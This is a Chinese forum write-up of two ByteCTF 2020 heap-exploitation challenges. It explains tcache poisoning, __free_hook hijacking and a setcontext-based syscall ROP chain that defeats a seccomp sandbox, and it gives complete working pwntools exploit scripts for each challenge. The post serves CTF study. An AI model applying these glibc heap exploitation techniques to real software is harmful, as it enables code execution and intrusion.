首页
社区
课程
招聘
[原创]【bytectf2020】
2022-4-28 15:56 7003

[原创]【bytectf2020】

2022-4-28 15:56
7003

鸽了ymnh一个月

 

img

 

img

学到的知识

(1)tcache poison:如果能够任意地址写0,那么可以把tcache中末尾是‘\x00'的堆块的fd指针的低地址写上'\x00',即可double free

 

(2)set_rdx_ret && setcontext联合实现堆上rop:劫持free_hook然后可以就可堆上实现rop了

1
0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

需要用到上面这个非常特殊的gadget

 

(3)堆切割覆盖fd指针(from fmyy):当存在uaf漏洞时,先申请两个大的堆块(不妨假设chunk2的地址大于chunk1),并free使得两个堆块在unsorted bin中完成合并。此后申请小的堆块会考虑从合并堆块切割分配,并且地址从chunk1一直往高地址生长。那么就有可能和chunk2的内容有重叠,可以通过edit来修改chunk2的内容

1.easyheap

版本

2.31 9_1

保护

img

main

img

add

img

 

img

 

这个add很特殊,存在逻辑漏洞,就是我们可以把v2赋值之后,再赋值v1,理论上来说v1和v2应该是一样的。同时有一个任意地址写0。很机智有一个初始化操作,但是如果是malloc(1),对0x20大小的堆块初始化就不完全了。并且限制了堆块的个数上限为8

show

img

 

很平常

delet

img

 

无法uaf

利用思路

泄露libc:通过malloc(1)切割unsorted chunk,切下一段0x20大小的堆块,并且通过逻辑漏洞,绕过往fd指针低地址写0,从而打印地址。

 

tcache poison:通过任意地址写0让tcache chunk自指,注意的是,此chunk还要满足从它到链尾至少还有两个chunk(不然申请不出我们想要写的地址)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
r=process('./easyheap')
libc=ELF('./libc-2.31.so')
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter(">> ",str(num))
 
def exadd(v2,size,con):
    cho(1)
    r.sendlineafter("Size: ",str(v2))
    r.sendlineafter("Size: ",str(size))
    r.sendlineafter("Content: ",con)
 
def add(size,con):
    cho(1)
    r.sendlineafter("Size: ",str(size))
    r.sendlineafter("Content: ",con)
 
def show(index):
    cho(2)
    r.sendlineafter("Index: ",str(index))
 
def delet(index):
    cho(3)
    r.sendlineafter("Index: ",str(index))
 
##leak libc
for i in range(0,8):
    add(0x80,'nameless')
for i in range(0,7):
    delet(7-i)
delet(0)
exadd(0x100,1,'\x60') #0
show(0)
r.recvuntil("Content: ")
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1c4bad-(libc.sym['__libc_start_main']+243)
log.success('libcbase:'+hex(libcbase))
 
##set
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
 
##tcache poison
##exadd(0x2d1,0x80,'nameless')
delet(0)
for i in range(0,8):
    add(0x70,'nameless')
for i in range(0,8):
    delet(i)
 
for i in range(0,7):
    add(0x60,'/bin/sh\x00')
 
delet(1)
delet(5)
delet(4)
delet(3)
delet(2)
exadd(0xe1,0x60,'nameless')
add(0x60,p64(free_hook))
add(0x60,'nameless')
add(0x60,'nameless')
add(0x60,p64(system))
delet(0)
r.interactive()

2.gun

img

 

这题还挺有意思的,不得不佩服出题人的脑洞,也挺好玩的

保护

img

沙箱

img

 

禁了system和execve的系统调用,不能使用one_gadget直接打,考虑orw绕过

ida

img

 

前面就读了一个名字还有禁了一下沙箱,主要还是从这里开始看,从menu里面可以看出主要实现了3个功能。这三个功能和平常的管理系统都不大一样。

shoot

img

 

有个printf函数可以让我们leak libc和heap

 

free之后没有清空指针,多半可以uaf进行double free

load

img

 

发现在clip处挂了一个头插法插入的链表,由于shoot的时候没有断链,所以实际上可能是把一条一条的链拼接上去。如果我们挂的链上有一个free过的堆块,连续shoot至那个堆块就可double free了

buy

img

 

申请后指针未初始化,可以利用这个leak libc和heap

利用思路

double free劫持free_hook然后堆上rop的裸题

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
 
r=process('./gun')
libc=ELF('./libc-2.31.so')
 
 
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter("Action> ",str(num))
 
def buy(size,con):
    cho(3)
    r.sendlineafter("Bullet price: ",str(size))
    r.sendlineafter("Bullet Name: ",con)
 
def load(index):
    cho(2)
    r.sendlineafter('load?',str(index))
 
def shoot(time):
    cho(1)
    r.sendlineafter('time: ',str(time))
 
##read_name
r.sendlineafter("Your name: ",'nameless')
 
##leak_libc
buy(0x500,'nameless') #0
buy(0x20,'nameless') #1
load(0)
shoot(1)
buy(0x20,'nameless')#0
load(0)
shoot(1)
r.recvuntil('Pwn! The ')
r.recvuntil('nameless')
libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x1c4f5d-(libc.sym['__libc_start_main']+243)
log.success('libcbase:'+hex(libcbase))
 
##set libfunc
setcontext=libcbase+libc.sym['setcontext']+61
free_hook=libcbase+libc.sym['__free_hook']
pdt=libcbase+0x26b72 ##pop_rdi_ret
pat=libcbase+0x4a550 ##pop_rax_ret
pst=libcbase+0x27529 ##pop_rsi_ret
pd12t=libcbase+0x11c1e1 ##pop_rdx_r12_ret
sys_ret=libcbase+0x66229 ##syscall_ret
 
def syscall(num,a1,a2,a3):
    pd=p64(pat)+p64(num)+p64(pdt)+p64(a1)+p64(pst)+p64(a2)+p64(pd12t)+p64(a3)+p64(0)+p64(sys_ret)
    return pd
 
##leak_heap
buy(0x30,'nameless') #0
buy(0x30,'nameless') #2
load(0)
load(2)
shoot(2)
buy(0x30,'\x0a') #0
load(0)
shoot(1)
r.recvuntil('Pwn! The ')
heap=u64(r.recv(6).ljust(8,'\x00'))-0x340
log.success('heap:'+hex(heap))
 
##set target
target=heap+0x4c0
 
##fastbin_double_free
load(1)
shoot(1)
for i in range(0,9):
    buy(0x20,'nameless')
for i in range(0,9):
    load(8-i)
shoot(9)
for i in range(0,7):
    buy(0x20,'nameless')
for i in range(0,6):
    load(5-i)
shoot(8)
 
##free_hook to setcontext
for i in range(0,7):
    buy(0x20,'nameless')
 
rop=syscall(2,target+0x10,0,0)+syscall(0,3,target+0x10,0x40)+syscall(1,1,target+0x10,0x40)
padding='./flag\x00\x00'+p64(target)+p64(setcontext)+'a'*0x78+p64(target+0xb0)+rop
buy(0x200,padding)
buy(0x20,p64(free_hook))
 
buy(0x20,'nameless')
buy(0x20,'nameless')
buy(0x20,p64(libcbase+0x1547a0)) ## 特殊的gadget
load(7)
z()
shoot(1)
r.recvuntil('flag')
flag='flag'+r.recv()
print(flag)
r.interactive()

[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-5-1 21:54 被Nameless_a编辑 ,原因:
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回